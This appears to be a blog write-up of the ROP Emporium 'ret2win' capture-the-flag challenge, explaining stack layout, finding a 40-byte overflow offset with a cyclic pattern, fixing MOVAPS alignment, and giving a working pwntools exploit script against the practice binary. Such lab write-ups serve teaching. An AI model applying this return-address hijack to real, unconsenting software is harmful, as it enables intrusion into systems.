ret2win
Today, we are going to break down ret2win, a classic binary exploitation challenge from ROP Emporium.
In computer science, the stack is a temporary region of memory that operates on a “Last-In, First-Out” (LIFO) basis. It is automatically managed by the CPU and is primarily used to keep track of function calls, control flow, and local variables while a program is running.
Think of the stack like a stack of heavy plates at a buffet. You can only add a new plate to the very top (an action called pushing), and you can only remove a plate from the very top (an action called popping). You cannot grab a plate from the middle without removing the ones above it first.
The Stack
Before we break the program, we need to know how it works. Imagine you’re reading a book, and someone tells you to go check out a page different from the one you’re on. You put your finger or a ruler on the page you were on so you know where to return, go see the page, then jump back to your finger.
This is what the CPU does using the stack. When it jumps to a new function, it saves a return address (RIP) on the stack so it knows where to go back later. Right above that, it stores its local variables like the buffer meant to hold input.
Now here’s the correlation: the pwnme() function uses a vulnerable C command that asks for our input but does not check the size.
If we replace that return address with an address of our own, the CPU will blindly jump there.
We begin with recon. We need 2 things:
- layout
- location
Running checksec ret2win tells us that NX(no executable) is enabled which means we cannot write our own malicious code there or run it. However, PIE(position independent executable) is disabled which means the program’s memory layout is identical every single time it runs.
We can use GDB to find the exact memory address of the hidden function that prints the flag:
target is: 0x400756
Now, we know we can overflow the bucket, but we need to know exactly how many bytes it takes to reach the return address. If we miss by even one byte, the exploit crashes
Instead of typing fifty As and guessing, we can use pwndbg to generate a cyclic pattern.
![]()
pwndbg> cyclic 50aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaWe feed this to the program and it crashes instantly. Type run and paste it when prompted, like this:

When we look at the crash dump, we see the CPU tried to jump to the letters kaaalaaa
and by checking where kaaalaaa lives in our alphabet soup, we find our exact offset: 40 bytes.
We need 40 bytes of garbage to fill the bucket, followed immediately by the VIP address of our ret2win function.
Stack alignment
Okay so we send 40 bytes of junk and our target address Welcome to the infamous MOVAPS issue. Certain system functions, like printing text to the screen, require the stack to be perfectly aligned to a 16-byte boundary.
When we hijacked the Return Address, we misaligned the stack by exactly 8 bytes. To fix this, we just add a harmless ret(return) instruction right before we call ret2win. This essentially tells the CPU to do nothing and take a step forward. It shifts the stack by 8 bytes.
Putting it all together, we can use Python and the pwntools library to automate this:
from pwn import *
# boot up the target programelf = context.binary = ELF('./ret2win')p = process()
# grab the addressret2win_addr = elf.symbols['ret2win']log.info(f"Targeting ret2win at: {hex(ret2win_addr)}")
rop = ROP(elf)ret_addr = rop.find_gadget(['ret'])[0]
# build the payloadpayload = b"A" * 40 # 40 bytes of garbage to flood the bufferpayload += p64(ret_addr) # re-align the stackpayload += p64(ret2win_addr)
p.sendlineafter(b"> ", payload)print(p.recvall().decode())When we run this, the program hands out the flag. Happy hacking!

Next reads
View all →9 Apr
C from the trenches: breaking the stack
A deep dive into how C handles memory and how we can use buffer overflows to hijack program execution.
9 Sept
Mini-Readelf: Gluing It All Together
The capstone. Four parts of pieces, headers, sections, symbols, relocations, joined into one tool that reads any ELF. The only new mechanic is the sh_link chain: offset into a table that holds offsets into a table that holds strings.
5 Sept
Relocations: How PIE Binaries Fix Their Addresses
A PIE binary can't write final addresses because ASLR moves it. The linker leaves placeholders and the loader patches them after mapping. That's a relocation: R_X86_64_RELATIVE, GLOB_DAT and JUMP_SLOT.
Get posts by email
One email when I publish, not a drip, not weekly. Sign up and I'll only write when there's something new.
You won't get mail just for signing up. Unsubscribe any time.